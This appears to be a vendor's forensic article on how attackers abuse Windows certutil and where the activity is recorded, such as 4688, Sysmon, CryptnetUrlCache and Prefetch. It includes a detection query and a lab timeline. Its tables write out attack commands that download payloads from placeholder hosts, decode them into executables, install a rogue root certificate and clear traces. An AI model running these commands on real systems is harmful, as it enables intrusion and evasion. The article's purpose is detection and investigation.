Certutil: how attackers use it to download and decode files, and the evidence it leaves
How attackers use certutil to download and decode files, and where it shows: 4688 and Sysmon, the CryptnetUrlCache, Prefetch, USN Journal and Defender.
Certutil is a command-line program built into every version of Windows for managing certificates and certificate services. It is also one of the most abused living-off-the-land binaries (LOLBins): because it can fetch a file from a URL and decode Base64, attackers use it to download payloads and unpack hidden ones without bringing any tool of their own. It is signed by Microsoft, present on every host, and often allowed through application control.
For an investigator, certutil abuse is one of the better-documented techniques on a Windows host. This article covers the commands attackers run, why they choose certutil, and every place the activity is recorded, from process creation events to a cache folder most responders never look in.
What certutil is for
Administrators use certutil.exe (in C:\Windows\System32) to inspect and manage certificates, certificate stores and certificate revocation lists, and to compute file hashes with certutil -hashfile. Certificate checking requires fetching revocation lists and certificates from URLs, which is why the tool has built-in download code that uses Windows' own cryptographic networking (CryptoAPI). That download code is what attackers borrow.
How attackers use certutil
| Command pattern | What it does | ATT&CK |
|---|---|---|
| certutil -urlcache -split -f http://host/p.exe C:\Users\Public\p.exe | Downloads a file to disk through the URL cache | T1105 Ingress Tool Transfer |
| certutil -verifyctl -split -f http://host/p.exe | Downloads through the certificate trust list check, writing to the current folder | T1105 |
| certutil -decode payload.b64 payload.exe | Decodes a Base64 text file into a binary | T1140 Deobfuscate/Decode |
| certutil -decodehex payload.hex payload.exe | Decodes a hex dump into a binary | T1140 |
| certutil -encode secret.zip secret.txt | Encodes a file to Base64 text, for example before exfiltrating through a channel that only carries text | T1132 Data Encoding |
| certutil -addstore -f root evil.cer | Installs a root certificate, so the attacker can intercept TLS or sign code that the host trusts | T1553.004 Install Root Certificate |
| certutil -urlcache * delete | Clears certutil's URL cache, removing one trace of the download | T1070 Indicator Removal |
The two-step pattern is common: download a harmless-looking text file (payload.txt with Base64 content) with -urlcache, then -decode it into an executable. A web proxy sees text, and the executable only exists on the host.
Attackers vary the switches to dodge simple detections: -URLCache in mixed case, /urlcache with a slash, extra quotes, or the copy of certutil in C:\Windows\SysWOW64. Detections should match the switch name loosely, not one exact string.
Where certutil downloads are recorded
| Evidence | Where | What it shows |
|---|---|---|
| Process creation (4688) | Security log, when process creation and command-line auditing are on | The full command line, user, Logon ID and parent process |
| Sysmon event 1 | Sysmon log | The same, plus hashes, parent command line and original file name (CertUtil.exe) even if renamed |
| Sysmon events 3 and 22 | Sysmon log | The connection by certutil.exe and the DNS query for the download host |
| Sysmon event 11 | Sysmon log | The downloaded file being written |
| CryptnetUrlCache | %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\ | A copy of the downloaded content and metadata including the source URL |
| Prefetch CERTUTIL.EXE | C:\Windows\Prefetch | Certutil ran, with run count and times; its list of loaded files can include the output path |
| USN Journal and $MFT | NTFS | The downloaded or decoded file's creation, and later deletion |
| SRUM | SRUDB.dat | Bytes received by certutil.exe in that hour, per user |
| Microsoft Defender | Defender operational log and detection history | Many certutil download command lines are detected and blocked |
| Proxy and firewall logs | Network | A request with a CryptoAPI or CertUtil user agent to an unusual host |
The CryptnetUrlCache
The URL cache is the artifact most investigations miss. When certutil fetches with -urlcache, Windows' certificate networking stores the content and a metadata file in the user's AppData\LocalLow\Microsoft\CryptnetUrlCache folder, under Content and MetaData, with matching file names. The metadata file contains the URL it came from; the content file is a copy of what was downloaded. When the download runs as SYSTEM (from a service or a scheduled task), the cache is under C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache instead.
That gives you the source URL and a copy of the payload even after the attacker deletes the file they wrote. It also catches a mistake attackers make: deleting the payload but not the cache. Careful operators run certutil -urlcache * delete afterwards, which itself shows up in process creation and Prefetch.
The cache also holds legitimate entries (certificate revocation lists and certificates fetched by Windows), so look for executables, scripts and archives, and for hosts that are not certificate authorities or Microsoft endpoints.
No mark of the web
Files downloaded by a browser usually get a Zone.Identifier alternate data stream recording that they came from the internet (the "mark of the web"), which triggers SmartScreen and Office protections. Files written by certutil typically do not, which is part of its appeal. The absence of a Zone.Identifier on an executable that clearly came from outside is itself a hint that a command-line tool fetched it.
Reading a certutil download in a timeline
4624 logon type 10 for CORP\jsmith from 203.0.113.50
4688 cmd.exe started by explorer.exe
4688 certutil.exe -urlcache -split -f http://198.51.100.7/a.txt C:\Users\Public\a.txt
(Sysmon 22: DNS query; Sysmon 3: TCP to 198.51.100.7:80)
USN C:\Users\Public\a.txt created
4688 certutil.exe -decode C:\Users\Public\a.txt C:\Users\Public\a.exe
USN C:\Users\Public\a.exe created
4688 C:\Users\Public\a.exe started by cmd.exe
USN a.txt deletedEach step can be corroborated from a second source: Prefetch for certutil.exe and a.exe, the CryptnetUrlCache for the URL and content, SRUM for the bytes, and Amcache for the SHA-1 of a.exe. If the attacker cleared the Security log, the Prefetch run times and the USN Journal still place the download and decode within seconds.
Telling admin use from abuse
Legitimate certutil use exists: administrators checking certificates, PKI teams managing a certificate authority, scripts verifying file hashes with -hashfile. The signals that separate abuse:
- A URL in the command line with
-urlcacheor-verifyctlpointing at an IP address, a file-sharing site or a host with no relation to certificates. - Output paths in Public, Temp, ProgramData or a user's Downloads folder, especially executables, scripts and archives.
-decodeor-decodehexproducing an executable or a script.- The parent process: certutil started by Office, a browser,
wscript,mshta, a web server process or a scheduled task is rarely administration. -addstore rootoutside planned PKI work.
In our lab investigation
The attacker in our Halden Freight case used a different built-in downloader, curl.exe (which ships with Windows 10 and 11), but the evidence pattern is the same. On HF-WS01 at 22:08:48 UTC, process creation auditing recorded curl.exe fetching http://10.211.55.2:8443/u.ps1 into C:\ProgramData\HFUpdate\hfupdate.ps1, and the USN Journal recorded the file's creation. Ninety-four seconds later the same tool tried to upload q4-close.zip to the same address. On HF-WS02 at 22:13:12 the same download appeared again, matched to the millisecond by a USN creation record.
Two lessons carry over to certutil. First, the command line, where it was logged, gave the URL, the output path and the account in one record. Second, the file system confirmed each download independently, so the finding did not rest on one source. With certutil you would add the CryptnetUrlCache as a third.
Finding certutil activity in Arcsentry
Arcsentry parses the Security and Sysmon logs, Prefetch, the USN Journal, $MFT, SRUM, Amcache and Defender logs from every collected host into one timeline, so the command line, the file creation and the execution evidence for a certutil download sit side by side. This AQL query on the Security log lists certutil runs that used a download or decode switch:
filter event_code == "4688"
derive {cmd = process_command_line, user = user_name}
filter cmd ~= "(?i)certutil" && cmd ~= "(?i)[-/](urlcache|verifyctl|decode|decodehex|addstore)"
select {timestamp, user, cmd}
sort {timestamp}The AI investigator treats each hit as a lead: it looks for the file the command wrote, whether that file ran, and what it did next, and cites every record it relies on. For other built-in tools attackers abuse, see the LOLBins guide; for what proves a downloaded tool actually ran, see ShimCache vs Amcache vs Prefetch.
Frequently asked questions
What is certutil used for?
Certutil is a built-in Windows command-line tool for managing certificates, certificate stores and certificate services, and for computing file hashes. Attackers misuse its download and Base64 decode features.
How do attackers use certutil to download files?
With certutil -urlcache -split -f <url> <output file>, or with -verifyctl -split -f <url>. Both use Windows' certificate networking code to fetch a file from a URL and write it to disk.
Where does certutil store downloaded files?
Besides the output path in the command, certutil's -urlcache downloads are cached in the user's AppData\LocalLow\Microsoft\CryptnetUrlCache folder, with the content in Content and the source URL in MetaData. For SYSTEM, the cache is under C:\Windows\System32\config\systemprofile\AppData\LocalLow.
How do you detect certutil abuse?
Monitor process creation (4688 with command lines, or Sysmon 1) for certutil with urlcache, verifyctl, decode, decodehex or addstore, matching the switches loosely. In an investigation, check Prefetch, the CryptnetUrlCache, the USN Journal, SRUM and Defender detections.
Is certutil malware?
No. Certutil.exe is a legitimate Microsoft program signed by Microsoft. It is a living-off-the-land binary: a trusted tool that attackers misuse, so detection relies on how it is used, not on the file.
How we wrote this
Drafted with AI from evidence in our own lab, with Laura Pompeu responsible for the article. The evidence comes from Halden Freight office intrusion (Windows, two hosts), built and investigated in our lab, so every example can be checked against real records.
Sources
See it on your own evidence. Free for 7 days.
Tell us what you want to investigate. A person replies within one business day with the download and a trial licence.
Request a trial